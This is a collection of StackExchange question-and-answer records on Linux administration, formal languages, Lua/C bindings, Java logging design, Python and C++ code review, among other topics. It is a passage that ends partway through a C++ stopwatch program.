{  "id": "_unix.349471"  , "question": "We are using linux logrotate for rotating our log files,Example :/location/tomcat/logs/* /location/jboss/log/* {      copytruncate      daily      rotate 10      compress      size 20M      olddir rotated      create 0644 test test}As per the copy truncate definition given in LINUX,copytruncate          Truncate  the  original log file in place after creating a copy,          instead of moving the old log file and optionally creating a new          one,  It  can be used when some program can not be told to close          its logfile and thus might continue writing (appending)  to  the          previous log file forever.  Note that there is a very small time          slice between copying the file and truncating it, so  some  log-          ging  data  might be lost.  When this option is used, the create          option will have no effect, as the old log file stays in  place.So there will be a data loss in log file during rotate process. I noticed around 5 to 20 seconds of log loss, Is there a way / configuration to do the same process without data loss? "  , "title": "Logrotate in linux to handle log data loss"  , "tags": "logs;logrotate"  } 
{  "id": "_cs.49111"  , "question": "Since we started talking about relations on languages and so on i keep on struggling with this subject. So now iam faced with two questions where i really dont know how to start. First of all, the natural relation of a language $L \\subseteq \\Sigma^*$ is the equivalence relation on $\\Sigma^*$ with the equivalence classes $L$ and $\\Sigma^* \\setminus L$Let the natural relations of two arbitrary languages $L_1$ and $L_2$ be right    congruent. Is the natural relation of the language $L_1 \\cup L_2 $ also right congruent?So a right congruence is a equivalence relation with the added property that:$ \\forall a \\in \\Sigma : u \\equiv v \\Longrightarrow ua \\equiv va$Intuitively i would say that the union of this two relations remains to be a  right congruence but i dont know how to prove this idea.For every equivalence relation $\\equiv$, there are at least two languages which are saturated by $\\equiv$, true or false? An equivalence relation saturates a Language $L$ if: $ u \\equiv v \\Longrightarrow u \\in L \\Leftrightarrow v \\in L $My guess would be that any equivalence relation saturates the Language $L$ and $\\bar{L}$I would be pleased if some one could provide me with a useful hint on how to solve this questions."  , "title": "Union of right congruence relations"  , "tags": "formal languages"  , "accepted_answer": "I'll walk you through the first question. You can ask the second question separately (see D.W.'s answer).When faced with a proof or refute question like this, we need to try both directions. First, we can try proving the claim. If we seem to get stuck, we can look for a counterexample.Let's try proving the claim. We are given that $L_1$ and $L_2$ are right congruent. This means the following, for $u,v \\in \\Sigma^*$ and $a \\in \\Sigma$:If $u,v \\in L_1$ or $u,v \\notin L_1$ then either $ua,va \\in L_1$ or $ua,va \\notin L_1$.If $u,v \\in L_2$ or $u,v \\notin L_2$ then either $ua,va \\in L_2$ or $ua,va \\notin L_2$.Let's try to prove that $L_1 \\cup L_2$ also satisfies a similar condition. We have to consider two cases: $u,v \\in L_1 \\cup L_2$ and $u,v \\notin L_1 \\cup L_2$. The second case looks simpler, so let's start with it. If $u,v \\notin L_1 \\cup L_2$ then $u,v \\notin L_1$ and $u,v \\notin L_2$. The assumptions then show that:Either $ua,va \\in L_1$ or $ua,va \\notin L_1$.Either $ua,va \\in L_2$ or $ua,va \\notin L_2$.We have to prove that either $ua,va \\in L_1 \\cup L_2$ or $ua,va \\notin L_1 \\cup L_2$. We reason as follows. If $ua,va \\in L_1$ then $ua,va \\in L_1 \\cup L_2$ so we're done. Same if $ua,va \\in L_2$. The remaining case is $ua,va \\notin L_1$ and $ua,va \\notin L_2$. In this case, $ua,va \\notin L_1 \\cup L_2$, so we're again done.Now let's get back to the other case: $u,v \\in L_1 \\cup L_2$. This case looks harder. There are many different subcases. Let's start with a simple one: $u,v \\in L_1$. In this case we can say that $ua,va \\in L_1$ (and then we're done, since $ua,va \\in L_1 \\cup L_2$) or $ua,va \\notin L_1$. What do we do in the latter case? We have to consider membership of $u,v$ in $L_2$. If $u,v \\in L_2$ or $u,v \\notin L_2$ then either $ua,va \\in L_2$ (and then we're done, since $ua,va \\in L_1 \\cup L_2$) or $ua,va \\notin L_2$, in which case we know that $ua,va \\notin L_1 \\cup L_2$. But what happens if $u \\in L_2$ and $v \\notin L_2$? Then we seem to be stuck.Now we switch gears, trying to refute the claim. We got stuck when we had $u,v$ such that $u,v \\in L_1$, $ua,va \\notin L_1$, $u \\in L_2$, $v \\notin L_2$. So we try to look for two right congruent languages for which two such words exist. In order to do that, we need first to think of examples of right congruent languages. One very simple example is the language of even-length words. We can enrich the repertoire by taking the language of all words having an even number of some letter $a$.Here are two examples of this sort: take $L_1$ to be all words with an even number of $0$s, and take $L_2$ to be all words with an even number of $1$s. We can take $u = \\epsilon \\in L_1 \\cap L_2$ (here $\\epsilon$ is the empty word) and $v = 1 \\in L_1 \\setminus L_2$. Since we want $ua,va \\notin L_1$, we take $a = 0$. Then $u0,v0 \\notin L_1$ while $u0 \\in L_2, v0 \\notin L_2$. So $u0 \\in L_1 \\cup L_2$ but $v0 \\notin L_1 \\cup L_2$, and we have found our counterexample!As you can see, finding a counterexample is often more creative then proving a statement, which can be quite mechanical. You just need to try a lot of things until something works.The next step is to reflect on what we have shown. Is there any other operation on two languages which preserves the property of being right congruent? Is there an operation on one language? Indeed, there are: if $L$ is right congruent then so is $\\overline{L}$; and if $L_1,L_2$ are right congruent then their symmetric difference $L_1 \\triangle L_2$ is right congruent. See if you can prove these claims.(In fact, right congruent languages are exactly the languages accepted by a DFA with at most two states. This leads to a complete classification of these languages, which I leave to the reader.)"  } 
{  "id": "_unix.353784"  , "question": "Probably a stupid question but I want to be sure on this. On an SSH connection, can you do everything that you can do on a console connection?In other words, after launching a system and installing and configuring an SSH server on it, can you do all your further interaction with this system via SSH, and not use the console (except in cases that the SSH server is not available for some reason)?"  , "title": "Is there anything that can be done via a console login, but not via an SSH login?"  , "tags": "ssh;console"  , "accepted_answer": "Yes.Here are just some of the things.superuser logonOn systems like FreeBSD and OpenBSD, the init program only permits logging on as user #0, in single user mode, on terminals marked as secure in the /etc/ttys file.  And the login program (directly on OpenBSD, through a PAM module in FreeBSD) enforces the secure flag in multi-user mode.Debian and Ubuntu similarly have the /etc/securetty mechanism.  In all of them, the console, and the kernel virtual terminals (which are not necessarily the console, note), default to permitting superuser log on.On OpenBSD, the out of the box default for SSH is not to permit log on as the superuser when using password or keyboard-interactive authentication (but to permit it when using public key authetication).  The out of the box default for SSH on FreeBSD is to not permit log on as the superuser at all.framebuffer output event/USB input programsOne can tunnel X over an SSH connection, and one can interact with programs that employ a terminal device.  But programs that expect to perform I/O via Linux's event device system, via USB HID devices, and via a framebuffer device, are not operable via SSH.  further readingHow to use /dev/fb0 as a console from userspace, or output text to itsoundOne generally doesn't get sound tunnelled over SSH, either.  One can manually direct programs that make sounds to a PulseAudio server over the LAN, or manually tunnel from the remote sound clients to a local PulseAudio server.  But not all sound is PulseAudio, for starters.further readinghttps://superuser.com/questions/231920/BraillePrograms such as BRLTTY require direct access to the character+attribute cell array of a virtual terminal device.  Where a server has BRLTTY set up, it cannot access SSH login sessions and display them in Braille, whereas it can display kernel virtual terminal login sessions.  further readingJonathan de Boyne Pollard (2014). Combining the nosh user-space virtual terminals with BRLTTY.  Softwares.accessibility.  Debian wiki.emergency mode and rescue mode workBootstrapping into emergency mode or rescue mode does not start an SSH server.  Neither mode starts all of the hooplah that underpins networking, let alone network services like an SSH server.unpredictable PolicyKit stuffPolicyKit has the notion of active and inactive login sessions.  This tries to boil down what in the /etc/ttys system is a set of several attributes (on, secure, network, dialup) into a single true/false switch between active and inactive.  This doesn't quite fit the world where SSH and its ilk exist.One can only have an active login session when one logs on on the console or on a kernel virtual terminal.  Logging on via SSH is always considered to be an inactive login session.  Surprising behavioural differences can result, because software authors and the system administrator can grant differing permissions to do stuff to active versus inactive login sessions.further readingEnabling system management privileges for non-local users - How the heck does `polkit` work, anyways?https://askubuntu.com/questions/21586/Jeff Lane (2014-03-28).  plainbox-secure-policy doesn't work over ssh.  Bug #1299201.  Launchpad.  Ubuntu."  } 
{  "id": "_codereview.62059"  , "question": "BackgroundI'm using Lua with luaglut to do some OpenGL stuff. The luaglut API is almost identical to the gl/glut C APIs. Sometimes, gl functions want a pointer to some data, for example:glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA,    GL_UNSIGNED_BYTE, oh_crap_a_pointer)In these cases, the luaglut bindings take a light userdata containing the pointer. In the luaglut demos, a small example library called memarray does the work of setting up a C array and returning a pointer to it as a light userdata.You might use memarray something like this:require 'memarray'function loadTexture(filename)  local file = assert(io.open(filename, 'rb'))  local data = file:read('*a')  file:close()  local array = memarray('uchar', #data)  array:from_str(data)  return arrayend-- ... laterlocal texture = loadTexture('whatever.rgba')glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 32, 32, 0, GL_RGBA,    GL_UNSIGNED_BYTE, texture:ptr())That got me thinking, why do we need memarray at all? Lua strings should be binary safe; all we really need is to get a pointer to the string returned fromfile:read('*a') as a light userdata. It would look something like this:function loadTexture(filename)  local file = assert(io.open(filename, 'rb'))  local data = file:read('*a')  file:close()  return dataend-- ... laterlocal stringpointer = require 'stringpointer'local texture = loadTexture('whatever.rgba')glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 32, 32, 0, GL_RGBA,    GL_UNSIGNED_BYTE, stringpointer.get(texture))Of course we pass the string around instead of the pointer, because the GC could free the memory the string was in if there are no more references to it, invalidating the pointer. Internally Lua strings are immutable and passed by reference anyway, so this is no big deal.Code#include <lua.h>#include <lualib.h>#include <lauxlib.h>int get_pointer(lua_State *L){    luaL_checktype(L, 1, LUA_TSTRING);    lua_pushlightuserdata(L, (void *)lua_tostring(L, 1));    return 1;}int luaopen_stringpointer(lua_State *L){    const luaL_Reg api[] = {        {get, get_pointer},        {NULL, NULL}    };#if LUA_VERSION_NUM == 501    luaL_register(L, stringpointer, api);#else    luaL_newlib(L, api);#endif    return 1;}It's really tiny, but my C is rusty so maybe I did something stupid. It seems to work fine so far. Any input is welcome."  , "title": "Tiny Lua library to get char pointer from string"  , "tags": "c;memory management;lua;opengl"  } 
{  "id": "_webmaster.12129"  , "question": "I've been optimizing my website for search engines, and for some reason I have a crawl error on a page that has not been found at 'www.peach-designs.com/a' which is not a page, is not a link, or is not anything on my site.  I've checked my code and I'm only left to assume that this is a link to a page (a href, etc.).Is this common for other websites?"  , "title": "SEO - Crawl Errors"  , "tags": "google;seo;web crawlers"  } 
{  "id": "_unix.51944"  , "question": "Imagine something like this: $ curlsh http://www.example.org> GET /foo/bar/bam...output here...> POST /thing/pool ...... result here.... is there a tool that lets me do that? "  , "title": "Is there a way to use curl interactively? Or is there an interactive curl/wget shell?"  , "tags": "wget;curl"  , "accepted_answer": "Thanks for the answers.After googling around, I found resty, which is a shell script wrapper around the curl tool.  This is really what I want.  It's 155 lines of shell script, and when I run it, I get functions for GET, PUT, POST, DELETE, and OPTIONS. These functions are just wrappers around the curl program found on my path.It works like this on MacOSX bash: $ . resty$ resty https://api.example.orghttps://api.myhost.com*$ GET /v1/o/orgname -u myusername:password{  createdAt : 1347007133508,  createdBy : admin,  displayName : orgname,  environments : [ test, prod ],  lastModifiedAt : 1347007133508,  lastModifiedBy : admin,  name : orgname,  properties : {    propertyList : [ ... ]  },}$The first line there just runs the commands in the current shell. The next line, the resty command, sets the URL base. Thereafter, any call to GET, PUT, POST... implicitly references that base. I showed an example that emits prettified JSON. I think if your server emits minified JSON, you could pretty-print it with an external script by piping the output. There's support for host-based preferences. Suppose your target host is api.example.org. Ceate a file called ~/.resty/api.example.org, and insert in there, lines which specify arguments that should be passed to every curl call to the host by that name. Each http verb gets its own line. So, inserting this content in the file: GET -u myusername:mypassword --write-out \\nStatus = %{http_code}\\n...means that every time I do a GET when api.example.org is the base hostname, the curl command will implicitly use the -u and --write-out args shown there. (-u for basic auth). As another example, you could specify the Accept header in that file, so that you always request XML: GET --header Accept: application/xmlAny curl command line arg is supported in that preferences file. All the curl args for the host+verb tuple need to go on a single line in the preferences file. Handy."  } 
{  "id": "_unix.117040"  , "question": "My input file has positions in first column with different number of spaces (or no space)16504   16516           1650811   16520       1651   16524        16516111   16528        165204   16532       I need to get an output file where fist column has no spaces at all, while keeping second column as it is. 16504   16516       16508   16520     16512   16524      16516   16528       16520   16532   "  , "title": "removing spaces from first column"  , "tags": "text processing;sed;awk;columns"  } 
{  "id": "_unix.364096"  , "question": "I have a problem with PulseAudio on my Buildroot based Raspberry Pi. It's playing audio 2% slower than normal. Indeed, after measurement, I get 100 BPM on the Raspberry when I have 102 on my computer, and it scales with the BPM. I always have RPi's BPM = 98% normal BPM .It also works with frequencies, that are 2% smaller ...I'm using a Raspberry Compute Module (CM1) with a Wolfson WM8731 audio codec.I tried everything I found on the internet to play files in real time, have the best scheduling priority, but still that problem. It's very strange because I don't hear the music cracking or whatever. I also don't hear 'vibrato' effect because of frequency changing regularly. So it really seems that Pulse Audio is just 2% late compared to real time.Do you guys have an idea of what could be the problem ?"  , "title": "Pulse Audio plays 2% slower"  , "tags": "audio;raspberry pi;pulseaudio"  } 
{  "id": "_unix.219564"  , "question": "I downloaded debian-live-8.1.0-i386-standard.isofrom http://cdimage.debian.org/debian-cd/8.1.0-live/i386/iso-hybrid/and booted a system from it , logged in with user and password as live. NOW, When i got bash prompt, now what to type so that the debian standard installation starts to install on my hard disk?background note: i downloaded all other .iso (for example: debian-live-8.1.0-i386-mate-desktop.iso  ) from the same above directory url. And from all those .iso,  i could run the system as live and install also - ie, they are hybrid CD.The standard iso works fine as live CD , but as it is hybrid CD too, so it should be able to start installation also."  , "title": "install debian from hybrid standard CD"  , "tags": "debian"  } 
{  "id": "_unix.293327"  , "question": "It's fairly straightforward to determine from within a script that the code being run is not running in an interactive shell, but you already know that as you write the script, so I'm not sure how it's useful except within a function (or if you source the script).Within a script, how do you determine if the script is being run from an interactive shell, or being run by another script?  In other words, how do you determine the interactivity of the caller of the script?  Put yet another way, how do you know whether the parent shell is interactive or not?Just to further clarify, I'm not trying to find the name of the nearest interactive ancestor, I'm just trying to figure out if the immediate parent is interactive or not.If this varies from shell to shell, I'm most interested in zsh, but also in bash."  , "title": "How to determine if script is called by interactive shell or another script?"  , "tags": "shell script;interactive"  } 
{  "id": "_webapps.20113"  , "question": "We're using Trello to track our hiring process.  It would be nice to use the vote feature to quickly gauge opinions without having to read comments.  However, there doesn't seem to be a way to clear votes besides having each member unvote.  So, votes currently must represent the card over the whole board.  It seems reasonable for it to represent the card only for that list, but that's only possible if you can clear it somehow..."  , "title": "Is there a way I can clear votes in Trello?"  , "tags": "trello"  } 
{  "id": "_softwareengineering.233498"  , "question": "Requirements:My application is latency sensitive. Millisecond level responsiveness matters. Not all the time, but when it acts, it needs to be fast.My application needs to log information about what it's done in those times.The actual writing of the logs does not need to be that fast, just the actions.However, the log files need to be written at human speed, in other words, I cannot set immediateFlush to false.So, obviously, certain kinds of logging are getting offloaded to another thread. I am using logback as a framework, but for certain sorts of log messages I still want to offload the work to another thread.Here is how the system currently works:Each part of the latency sensitive system gets a particular logger interface injected. Each of these log methods has a signature specific to the sorts of things I know the logger will need to log.A SimpleLogger implementation is written for each case. This writes to the log on the same thread.I have also written a ThreadedLogger which implements ALL the logging interfaces, and gets a backing logger implementation injected for each sort of logger.Whenever a log method is called in ThreadedLogger, it wraps the request in an SomeLogObject implements LogCommand, throws the objected into a LinkedBlockingQueue, and returns. This is similar to the Go4 Command patternThere is a consumption thread that blocks on BlockingQueue.take() waiting for log objects to come in. When they do, it calls LogCommand.execute(), which calls the appropriate method in the backing Logger in ThreadedLogger.Currently the LogCommand implementations are very stupid. They just call the appropriate method in the proper injected logger.I am trying to decide if I should refactor this system. Currently, if I need to create a new place to do these offloaded logs, I have to create:A new interfaceA new implementation of this interfaceTwo new DI bindings (one for the simple logger, one for the ThreadedLogger backer)A new LogCommand implementationA new method for creating this LogCommand objectCode for injecting and storing as a field the appropriate logger in ThreadedLogggerIt seems to me that it would be a lot simpler to offload the creation of the LogObject to the calling threads, but I am concerned that I'm exposing too much of the internal workings of the log system if I do that. Not that this is necessarily a problem, but it seems unclean. Another possibility would be to combine the functionality of the simple logger implementations with their respective log objects, so the objects change from being I am an object that does logging when given log data to I am a log event that knows how to log myself, and these objects can be created by a log factory."  , "title": "Logging in a latency sensitive system"  , "tags": "java;design;logging"  , "accepted_answer": "You have made your design overly complex by creating specific logger signatures for the various latency sensitive parts.A better design would have been to use the Logger interface from logback for all parts of the application. If performance measurements have shown that the logging causes a bottleneck for some low-latency parts, then you can offload the logging in this way:You create a ThreadedLogger class that implements the Logger interface and a ThreadedLogReader class. These two classes communicate using LogCommand objects. The LogCommand class contains all the required log information (which logger to use, the severity level and the actual log message).The ThreadedLogReader class runs on a separate thread and injects the log messages in the received LogCommand objects into the logback framework.This way, your logging framework remains free from knowledge about the latency-sensitive parts of the code. If you want to make it really fancy, you could even implement a custom version of the LoggerFactory class which decides if a certain logger should be a ThreadedLogger or a regular Logger."  } 
{  "id": "_datascience.20264"  , "question": "The KDD 1999 dataset had 41 features and the UNB ISCX Intrusion Detection Evaluation DataSet (iscx.ca/dataset)had 49. For an intrusion detection problem, I want to extract these features from a given/generated pcapng file. Is there any feature extraction tool available for this? [All the information may not be present in the input pcapng file and some features may not be computable] "  , "title": "Feature extraction from given pcapng file"  , "tags": "feature extraction"  } 
{  "id": "_opensource.140"  , "question": "How can I keep people involved and motivated to work on a project that doesn't involve direct monetary benefit?What specific strategies do open source projects tend to use to keep core developers involved?Partly this is a general what strategies reliably motivate most open-source developers, but it's also about how can you prevent people from forgetting they're involved at all? What specific tactics do project leaders use to remind people that they're part of something?.At least in my own case, my largest problem with projects is that I have hundreds of barely started, and tens of half-finished things that I just completely forget about / put off, but that I do really want to see completed. While this arguably isn't specific to open source, to me at least it's the largest impediment."  , "title": "How can I keep a project from losing momentum?"  , "tags": "project management;human resources"  } 
{  "id": "_softwareengineering.190876"  , "question": "In class I am learning about value iteration and markov decision problems, we are doing through the UC Berkley pac-man project, so I am trying to write the value iterator for it and as I understand it, value iteration is that for each iteration you are visiting every state, and then tracking to a terminal state to get its value.I have a feeling I am not right, because when I try that in python I get a recursive depth exceed. So I return to the pseudo-code, and there is a Vk[s] and Vk-1[s'], which I had thought to mean value of state, and value of newState, but I must be missing something.So what is the significance of the k and k-1?My Code: def val(i, state):        if mdp.isTerminal(state) or i == 0:            return 0.0        actionCost = {}        for action in mdp.getPossibleActions(state):            actionCost[action] = 0            for (nextState, probability) in mdp.getTransitionStatesAndProbs(state, action):                reward = mdp.getReward(state, action, nextState)                actionCost[action] += probability * reward + discount * val(i - 1, nextState)                return actionCost[max(actionCost, key=actionCost.get)]    for i in range(iterations):        for state in mdp.getStates():              self.values[state] = val(i, state)Pseudo Code:k 0 repeat      k k+1       for each state s do           Vk[s] = maxa s' P(s'|s,a) (R(s,a,s')+ Vk-1[s']) until s |Vk[s]-Vk-1[s]| < "  , "title": "I don't understand value iteration"  , "tags": "python;artificial intelligence"  } 
{  "id": "_codereview.7725"  , "question": "I am writing a few python functions to parse through an xml schema for reuse later to check and create xml docs in this same pattern. Below are two functions I wrote to parse out data from simpleContent and simpleType objects. After writing this, it looked pretty messy to me and I'm sure there is a much better (more pythonic) way to write these functions and am looking for any assistance. I am use lxml for assess to the etree library.def get_simple_type(element):    simple_type = {}    ename = element.get(name)    simple_type[ename] = {}    simple_type[ename][restriction] = element.getchildren()[0].attrib    elements = element.getchildren()[0].getchildren()    simple_type[ename][elements] = []    for elem in elements:        simple_type[ename][elements].append(elem.get(value))    return simple_type  def get_simple_content(element):    simple_content = {}    simple_content[simpleContent] = {}    simple_content[simpleContent][extension] = element.getchildren()[0].attrib    simple_content[attributes] = []    attributes = element.getchildren()[0].getchildren()    for attribute in attributes:        simple_content[attributes].append(attribute.attrib)    return simple_contentExamples in the schema of simpleContent and simpleTypes (they will be consistently formatted so no need to make the code more extensible for the variety of ways these elements could be represented in a schema):<xs:simpleContent>    <xs:extension base=xs:integer>        <xs:attribute name=sort_order type=xs:integer />    </xs:extension></xs:simpleContent><xs:simpleType name=yesNoOption>    <xs:restriction base=xs:string>      <xs:enumeration value=yes/>      <xs:enumeration value=no/>      <xs:enumeration value=Yes/>      <xs:enumeration value=No/>    </xs:restriction></xs:simpleType>The code currently creates dictionaries like those show below, and I would like to keep that consistent:{'attributes': [{'type': 'xs:integer', 'name': 'sort_order'}], 'simpleContent': {'extension': {'base': 'xs:integer'}}}{'yesNoOption': {'restriction': {'base': 'xs:string'}, 'elements': ['yes', 'no', 'Yes', 'No']}}"  , "title": "Python xml schema parsing for simpleContent and simpleTypes"  , "tags": "python;parsing;xml"  , "accepted_answer": "Do more with literals:def get_simple_type(element):    return {        element.get(name): {            restriction: element.getchildren()[0].attrib,            elements: [ e.get(value) for e in element.getchildren()[0].getchildren() ]        }    }def get_simple_content(element):    return {         simpleContent: {            extension: element.getchildren()[0].attrib,            attributes: [ a.attrib for a in element.getchildren()[0].getchildren() ]         }    }"  } 
{  "id": "_softwareengineering.308749"  , "question": "I am developing an e-commerce product and I have been able to implement all functionality and am left with allowing users to create additional attributes for a product. Right Now I have two options.EAVEAV is largely frowned upon but seems to work for Magento. But after researching all the headaches it causes I am a bit reluctant to use itUse JSON Columns in MySql 5.7This is rather new an I have not seen it being implemented anywhere else and I am dreading full table scans as a result of querying the JSON attributes. But after reading this MySql 5.7 JSON they seem to recommend using JSON. and it would be less tiresome than implementing something like this Practical MySql schema advice .My question is, although I am biased towards using the JSON column way of storing attributes as NoSQL is not an option for me, are there any drawbacks that are more severe than using EAV tables."  , "title": "Using MySql 5.7 JSON columns for EAV"  , "tags": "performance;sql;mysql"  } 
{  "id": "_codereview.18415"  , "question": "Here's some code that removes the specified character, ch, from the string passed in. Is there a better way to do this? Specifically, one that's more efficient and/or portable?//returns string without any 'ch' characters in it, if any.#include <string>using namespace std;string strip(string str, const char ch){        size_t p = 0; //position of any 'ch'        while ((p = str.find(ch, p)) != string::npos)                str.erase(p, 1);        return str;}"  , "title": "Stripping specified character"  , "tags": "c++"  , "accepted_answer": "I'm not entirely sure how the performance will compare, but the standard way to accomplish this would be the erase-remove idiom:str.erase(std::remove(str.begin(). str.end(), ch), str.end());Unless the performance proves to be a bottleneck, it's typically better to stick with the C++ style of doing things.  I can't imagine that this would be significantly less efficient than the other method.  (In fact, I wouldn't be surprised if this is a bit faster for long strings with a high amount of the removed character -- though my assumption of that depends on quite a few non-guaranteed implementation choices, and a rather rough estimation of the cost of different low level operations.)"  } 
{  "id": "_codereview.167176"  , "question": "I have wrote code for a stopwatch that utilizes the abstract design pattern and would like to get some feedback on the code, so be as harsh as you can.Note: I used ctime instead of chrono because this is not meant for benchmarking. The code will later be used in a console game, and the format of the std::tm struct is easy to work with.Also, note that the way I wrote the tests in source.cpp will result in a small visual bug from time to time to resolve it lower the waiting time inside of the do while loop from std::chrono::seconds(1) to std::chrono::milliseconds(250); and increase the value of timer, the following action will increase the refresh rate.EDIT: Note that this question is a followup to Watch that uses the abstract factory design pattern they both use the same Console, Constants and Digits library but both accomplish a different task StopWatch.h:#ifndef STOP_WATCH#define STOP_WATCH#includeDigits.h#include<vector>#include<memory>#include<ctime>class StopWatch{public:    virtual void printTime() = 0;    void setStopWatchXY(int x, int y);    bool countDownFrom(int seconds);    void updateTime();    void reset();    void start();    void stop();    void lap();    const std::vector<int>& getLapTimes() const;    int getElapsed() const;    virtual ~StopWatch() = default;protected:    int m_watchXPos;    int m_watchYPos;    int m_seconds;    int m_minutes;    int m_hours;private:    std::vector<int> m_lapTimes;    bool             m_running{ false };    int              m_elapsed{};    int              m_beg;    std::time_t      m_now;    void converter(int seconds);    void clearTime();};class DigitalStopWatch final : public StopWatch{public:    virtual void printTime() override;    explicit DigitalStopWatch(int x, int y)    {        setStopWatchXY(x, y);    }};class SegmentedStopWatch final : public StopWatch{public:    virtual void printTime() override;    explicit SegmentedStopWatch(int x, int y)    {        setStopWatchXY(x, y);    }private:    Digit m_stopWatchDigits[6];    void printDigitAtLoc(Digit digArr[], int index, int x, int y) const;    void printColon(int x, int y);    void printSeconds();    void printMinutes();    void printHours();    void set(Digit digArr[], int startIndex, int unit);    void setDigitsToCurrentTime();    void setSeconds();    void setMinutes();    void setHours();};class Factory{public:    virtual std::unique_ptr<StopWatch> createStopWatch(int stopWatchXPos = 0, int stopWatchYPos = 0) const = 0;};class DigitalStopWatchFactory final : public Factory{    virtual std::unique_ptr<StopWatch> createStopWatch(int stopWatchXPos = 0, int stopWatchYPos = 0) const override    {        return std::make_unique<DigitalStopWatch>(stopWatchXPos, stopWatchYPos);    }};class SegmentedStopWatchFactory final : public Factory{    virtual std::unique_ptr<StopWatch> createStopWatch(int stopWatchXPos = 0, int stopWatchYPos = 0) const override    {        return std::make_unique<SegmentedStopWatch>(stopWatchXPos, stopWatchYPos);    }};#endif   StopWatch.cpp:#includeStopWatch.h#includeConsole.h#include<thread> //for this_thread::sleep_fornamespace{    constexpr int maxTime          { 356400 };    constexpr int digitPadding     { 5 };    constexpr int secondsIndexStart{ 5 };    constexpr int minutesIndexStart{ 3 };    constexpr int timePadding      { 2 };    constexpr int hoursIndexStart  { 1 };    enum    {        First,        Second,        Third,        Fourth,        Fifth,        Sixth    };}/*|---STOP_WATCH_FUNCTIONS_START---|*//*|---PUBLIC_FUNCTIONS_START---|*/void StopWatch::setStopWatchXY(int x, int y){    Console::setXY(x, y, m_watchXPos, m_watchYPos);}bool StopWatch::countDownFrom(int seconds){    if (seconds > maxTime) seconds = maxTime;    while (seconds >= 0)    {        converter(seconds);        printTime();        if (seconds > 0)        {            std::this_thread::sleep_for(std::chrono::seconds(1));        }//end of if        --seconds;    }//end of while    return true;}void StopWatch::updateTime(){    long long curTimeInSec{ static_cast<long long>(std::time(&m_now)) - m_beg + m_elapsed };    if (curTimeInSec > maxTime) curTimeInSec = 0;    converter(curTimeInSec);}void StopWatch::reset(){    m_running = false;    m_lapTimes.clear();    m_lapTimes.shrink_to_fit();    clearTime();}void StopWatch::start(){    if (!m_running)    {        m_beg = static_cast<long long>(std::time(&m_now));        m_running = true;    }//end of if}void StopWatch::stop(){    if (m_running)    {        m_elapsed += static_cast<long long>(std::time(&m_now)) - m_beg;        m_running = false;    }//end of if}void StopWatch::lap(){    if (m_running)    {        stop();        m_lapTimes.emplace_back(m_elapsed);        clearTime();        start();    }//end of if}const std::vector<int>& StopWatch::getLapTimes() const{    return m_lapTimes;}int StopWatch::getElapsed() const{    return m_elapsed;}/*|----PUBLIC_FUNCTIONS_END----|*//*|---PRIVATE_FUNCTIONS_START---|*/void StopWatch::converter(int seconds){    m_hours   = seconds / 3600;    seconds   = seconds % 3600;    m_minutes = seconds / 60;    m_seconds = seconds % 60;}void StopWatch::clearTime(){    m_elapsed = 0;    m_seconds = 0;    m_minutes = 0;    m_hours   = 0;}/*|----PRIVATE_FUNCTIONS_END----|*//*|----STOP_WATCH_FUNCTIONS_END----|*//*|---DIGITAL_STOP_WATCH_FUNCTIONS_START---|*//*|---PUBLIC_FUNCTIONS_START---|*//*|---VIRTUAL_FUNCTIONS_START---|*/void DigitalStopWatch::printTime() {    Console::gotoxy(m_watchXPos, m_watchYPos);    if (m_hours < 10) std::cout << '0';    std::cout << m_hours << ':';    if (m_minutes < 10) std::cout << '0';    std::cout << m_minutes << ':';    if (m_seconds < 10) std::cout << '0';    std::cout << m_seconds;}/*|----VIRTUAL_FUNCTIONS_END----|*//*|----PUBLIC_FUNCTIONS_END----|*//*|----DIGITAL_STOP_WATCH_FUNCTIONS_END----|*//*|---SEGMENTED_STOP_WATCH_FUNCTIONS_START---|*//*|---PUBLIC_FUNCTIONS_START---|*//*|---VIRTUAL_FUNCTIONS_START---|*/void SegmentedStopWatch::printTime() {    setDigitsToCurrentTime();    printHours();    printColon(m_watchXPos + 10, m_watchYPos);    printMinutes();    printColon(m_watchXPos + 22, m_watchYPos);    printSeconds();}/*|----VIRTUAL_FUNCTIONS_END----|*//*|----PUBLIC_FUNCTIONS_END----|*//*|---PRIVATE_FUNCTIONS_START---|*/void SegmentedStopWatch::printDigitAtLoc(Digit digArr[], int index, int x, int y) const{    digArr[index].setDigitXY(x + index * digitPadding, y);    digArr[index].printDigit();}void SegmentedStopWatch::printColon(int x, int y){    Console::putSymbol(x, y + 1, '.');    Console::putSymbol(x, y + 2, '.');}void SegmentedStopWatch::printSeconds(){    printDigitAtLoc(m_stopWatchDigits, Fifth, m_watchXPos + timePadding * 2, m_watchYPos);    printDigitAtLoc(m_stopWatchDigits, Sixth, m_watchXPos + timePadding * 2, m_watchYPos);}void SegmentedStopWatch::printMinutes(){    printDigitAtLoc(m_stopWatchDigits, Third, m_watchXPos + timePadding, m_watchYPos);    printDigitAtLoc(m_stopWatchDigits, Fourth, m_watchXPos + timePadding, m_watchYPos);}void SegmentedStopWatch::printHours(){    printDigitAtLoc(m_stopWatchDigits, First, m_watchXPos, m_watchYPos);    printDigitAtLoc(m_stopWatchDigits, Second, m_watchXPos, m_watchYPos);}void SegmentedStopWatch::set(Digit digArr[], int startIndex, int unit){    if (unit < 10) digArr[startIndex - 1] = 0;    else digArr[startIndex - 1] = unit / 10;         digArr[startIndex]     = unit % 10;}void SegmentedStopWatch::setDigitsToCurrentTime(){    setHours();    setMinutes();    setSeconds();}void SegmentedStopWatch::setSeconds(){    set(m_stopWatchDigits, secondsIndexStart, m_seconds);}void SegmentedStopWatch::setMinutes(){    set(m_stopWatchDigits, minutesIndexStart, m_minutes);}void SegmentedStopWatch::setHours(){    set(m_stopWatchDigits, hoursIndexStart, m_hours);}/*|----PRIVATE_FUNCTIONS_END----|*//*|----SEGMENTED_STOP_WATCH_FUNCTIONS_END----|*/Source.cpp:#includeStopWatch.h#includeConsole.h //for Console::gotoxy#include<thread>   //for this_thread::sleep_forint main(){    std::unique_ptr<Factory> segFact{ std::make_unique<SegmentedStopWatchFactory>() };    std::unique_ptr<Factory> digFact{ std::make_unique<DigitalStopWatchFactory>() };    std::unique_ptr<StopWatch> stoppers[2];    stoppers[0] = segFact->createStopWatch();    stoppers[1] = digFact->createStopWatch();    stoppers[0]->setStopWatchXY(5, 5);    //to test the second stopper simply change stoppers[0] to 